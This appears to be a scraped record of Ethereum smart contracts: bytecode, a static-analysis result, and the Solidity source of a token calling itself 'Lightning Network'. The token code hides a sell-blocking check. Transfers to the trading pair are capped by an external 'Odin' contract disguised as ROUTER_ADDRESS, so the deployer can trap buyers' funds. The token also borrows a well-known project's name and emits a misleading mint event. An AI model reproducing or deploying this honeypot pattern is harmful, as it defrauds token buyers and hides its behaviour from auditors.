602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b826040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561071d57600080fd5b505af1158015610731573d6000803e3d6000fd5b5050505050565b610740611e8b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b83600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610938611e8b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1983836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610a8b57600080fd5b505af1158015610a9f573d6000803e3d6000fd5b505050505050565b610aaf611e8b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b6f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1660003383604051602401808373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040527fa9059cbb000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310610c675780518252602082019150602081019050602083039250610c44565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610cc9576040519150601f19603f3d011682016040523d82523d6000602084013e610cce565b606091505b5050505050565b610cdd611e8b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6060600267ffffffffffffffff81118015610db757600080fd5b50604051908082528060200260200182016040528015610de65781602001602082028036833780820191505090505b509050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110610e1957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110610e8357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1985856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610f5057600080fd5b505af1158015610f64573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1930846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610ffb57600080fd5b505af115801561100f573d6000803e3d6000fd5b505050508060008151811061102057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683604051602401808373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040527f095ea7b3000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b6020831061113f578051825260208201915060208101905060208303925061111c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146111a1576040519150601f19603f3d011682016040523d82523d6000602084013e6111a6565b606091505b505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe560e01b83600084334260405160200180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015611264578082015181840152602081019050611249565b50505050905001965050505050505060405160208183030381529060405260405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b602083106112dd57805182526020820191506020810190506020830392506112ba565b6001836020036101000a038019825116818451168082178552505050505050905001925050506040516020818303038152906040526040518082805190602001908083835b602083106113455780518252602082019150602081019050602083039250611322565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146113a7576040519150601f19603f3d011682016040523d82523d6000602084013e6113ac565b606091505b50505050505050565b6113bd611e8b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff163382604051602401808373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040527fa9059cbb000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106115735780518252602082019150602081019050602083039250611550565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146115d5576040519150601f19603f3d011682016040523d82523d6000602084013e6115da565b606091505b5050505050565b6115e9611e8b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611798611e8b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611858576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561190d57600080fd5b505af1158015611921573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663940a4e45826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561199a57600080fd5b505af11580156119ae573d6000803e3d6000fd5b5050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611a09611e8b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ac9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611b0f573d6000803e3d6000fd5b50565b611b1a611e8b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bda576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b826040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015611c6557600080fd5b505af1158015611c79573d6000803e3d6000fd5b5050505050565b611c88611e8b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d48576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611dce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611e946026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60003390509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220cb23690341a0693baa782dc1906df80b0ae464a207d659684dfad218e2939cd864736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}]}}
| 6,094 |
0x95ea86Aa70bBb3ef497b19e6bC41fA63ED8869e5
|
//SPDX-License-Identifier: MIT
// Website: http://lightning.network
// Telegram: http://t.me/lightningnetwork
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
uint256 constant INITIAL_TAX=4;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="LN";
string constant TOKEN_NAME="Lightning Network";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LightningNetwork is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(5);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102e45780639e752b951461030f578063a9059cbb14610338578063dd62ed3e14610375578063f4293890146103b257610109565b806356d9dce81461024e57806370a0823114610265578063715018a6146102a25780638da5cb5b146102b957610109565b8063293230b8116100d1578063293230b8146101de578063313ce567146101f55780633e07ce5b1461022057806351bc3c851461023757610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103c9565b604051610130919061274d565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061229d565b610406565b60405161016d9190612732565b60405180910390f35b34801561018257600080fd5b5061018b610424565b60405161019891906128ef565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061224a565b610448565b6040516101d59190612732565b60405180910390f35b3480156101ea57600080fd5b506101f3610521565b005b34801561020157600080fd5b5061020a610a1b565b6040516102179190612964565b60405180910390f35b34801561022c57600080fd5b50610235610a24565b005b34801561024357600080fd5b5061024c610aaa565b005b34801561025a57600080fd5b50610263610b24565b005b34801561027157600080fd5b5061028c600480360381019061028791906121b0565b610c0c565b60405161029991906128ef565b60405180910390f35b3480156102ae57600080fd5b506102b7610c5d565b005b3480156102c557600080fd5b506102ce610db0565b6040516102db9190612664565b60405180910390f35b3480156102f057600080fd5b506102f9610dd9565b604051610306919061274d565b60405180910390f35b34801561031b57600080fd5b506103366004803603810190610331919061230a565b610e16565b005b34801561034457600080fd5b5061035f600480360381019061035a919061229d565b610e8e565b60405161036c9190612732565b60405180910390f35b34801561038157600080fd5b5061039c6004803603810190610397919061220a565b610eac565b6040516103a991906128ef565b60405180910390f35b3480156103be57600080fd5b506103c7610f33565b005b60606040518060400160405280601181526020017f4c696768746e696e67204e6574776f726b000000000000000000000000000000815250905090565b600061041a610413610fef565b8484610ff7565b6001905092915050565b60006006600a6104349190612aae565b6305f5e1006104439190612bcc565b905090565b60006104558484846111c2565b61051684610461610fef565b6105118560405180606001604052806028815260200161310f60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c7610fef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116dc9092919063ffffffff16565b610ff7565b600190509392505050565b610529610fef565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461058257600080fd5b600c60149054906101000a900460ff16156105d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c9906127cf565b60405180910390fd5b61061b30600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6106079190612aae565b6305f5e1006106169190612bcc565b610ff7565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561068357600080fd5b505afa158015610697573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106bb91906121dd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561073f57600080fd5b505afa158015610753573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077791906121dd565b6040518363ffffffff1660e01b815260040161079492919061267f565b602060405180830381600087803b1580156107ae57600080fd5b505af11580156107c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e691906121dd565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061086f30610c0c565b60008061087a610db0565b426040518863ffffffff1660e01b815260040161089c969594939291906126d1565b6060604051808303818588803b1580156108b557600080fd5b505af11580156108c9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108ee9190612364565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109c69291906126a8565b602060405180830381600087803b1580156109e057600080fd5b505af11580156109f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1891906122dd565b50565b60006006905090565b610a2c610fef565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a8557600080fd5b6006600a610a939190612aae565b6305f5e100610aa29190612bcc565b600a81905550565b610ab2610fef565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b0b57600080fd5b6000610b1630610c0c565b9050610b2181611740565b50565b610b2c610fef565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8557600080fd5b600c60149054906101000a900460ff16610bd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcb906128cf565b60405180910390fd5b6000600c60166101000a81548160ff0219169083151502179055506000600c60146101000a81548160ff021916908315150217905550565b6000610c56600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c8565b9050919050565b610c65610fef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce99061284f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4c4e000000000000000000000000000000000000000000000000000000000000815250905090565b610e1e610fef565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e7757600080fd5b60048110610e8457600080fd5b8060088190555050565b6000610ea2610e9b610fef565b84846111c2565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f3b610fef565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f9457600080fd5b6000479050610fa281611a36565b50565b6000610fe783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611aa2565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105e906128af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ce906127af565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111b591906128ef565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611232576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112299061288f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112a